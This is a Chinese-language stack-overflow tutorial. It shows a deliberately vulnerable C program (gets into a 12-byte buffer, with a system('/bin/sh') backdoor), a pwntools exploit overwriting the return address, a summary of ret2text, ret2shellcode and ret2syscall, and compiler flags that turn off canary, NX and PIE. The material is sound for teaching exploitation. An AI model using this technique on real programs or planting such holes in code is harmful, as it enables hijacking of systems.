栈是一种计算机系统中的数据结构,它按照先进后出的的方法存储数据,先进入的数据被压入栈底,最后进入的数据在栈顶

c语言函数调用栈

x86栈帧结构

oTXYjg.png

x64

x64前六个参数保存在RDI,RSI,RDX,RCX,R8,R9寄存器中,如果有更多的参数,则保存在栈中

栈溢出基本原理

栈溢出就是程序向变量中写入的字节数超出了本身申请的字节数,导致栈中的其他变量被修改,轻则导致程序崩溃,重则使得攻击者控制整个程序

基本条件:程序可以向栈中写入数据,且写入的数据没有得到良好的控制

一个简单的例子

#include <stdio.h>

void sh()
{
    system("/bin/sh");
}

void vul()
{
  char s[12];
  gets(s);
  puts(s);
  return 0;
}

int main()
{
    vul();
    return 0;
}

我们看到改程序定义了两个函数,一个是带有system的后门函数,还有一个是有漏洞的函数

我们把编译好的程序用ida打开

o79mGR.png

发现变量s开辟了0x14个字节大小的数据,所以我们可以发送0x14字节大小的数据,然后发送4字节覆盖ebp的值,然后发送后门函数的地址覆盖掉原本的返回地址,可以看到后门函数的返回地址是0x080491D6

o79lqO.png

给出exp

from pwn import *
sh_addr = 0x080491D6
sh = process('./test')
payload = b'a'*0x14 + b'a'*4
payload += p32(sh_addr)
sh.sendline(payload)
sh.interactive()

栈溢出利用总结

寻找危险函数,gets,scanf,vscanf,strcpy,strcat等函数

确定填充栈空间的长度,可以通过gdb调试观察栈空间,或者通过ida变量旁边回写出来栈空间大小

接着我们就是覆盖ebp,x86的是4字节,x64的是8字节

最后我们覆盖返回地址为后门函数的地址

linux下ELF函数的保护机制

canary(栈保护)

canary保护就是在ebp地址之后插入一个cookie,当函数返回时,会检查这个cookie的值是否改变,若改变了则直接使得程序崩溃

程序编译相关参数

  • -fno-stack-protector:禁用栈保护
  • -fstack-protector:使用堆栈保护,对局部变量中只含有char数组的函数插入保护代码
  • -fstack-protector-all:使用堆栈保护,为所有函数插入cookie

NX(栈不可执行)

栈不可执行就是使得数据所在的内存页无法执行命令

编译相关参数

  • -z execstack:禁用NX保护
  • -z noexecstack:开启NX保护

PIE(内存地址随机化)

PIE就是使得每次加载程序后,地址都不一样

编译相关参数

  • -no-pie:不开启PIE

RELRO(数据只读)

RELRO使得程序内一些GOT表等只读,无法修改

构造ROP

ret2text

通过返回地址到text段中的后门达到劫持程序的作用

ret2shellcode

通过返回地址到后门函数中达到劫持程序的作用

ret2syscall

控制程序执行系统调用,达到劫持程序的作用

execve("/bin/sh",NULL,NULL)

系统调用号,eax为0xb,即调用execve函数

第一个参数是/bin/sh,已改使得ebx指向/bin/sh的地址

第二个参数和第三个参数都是0,即ecx和edx都是0

记得要使用int 0x80去使用系统调用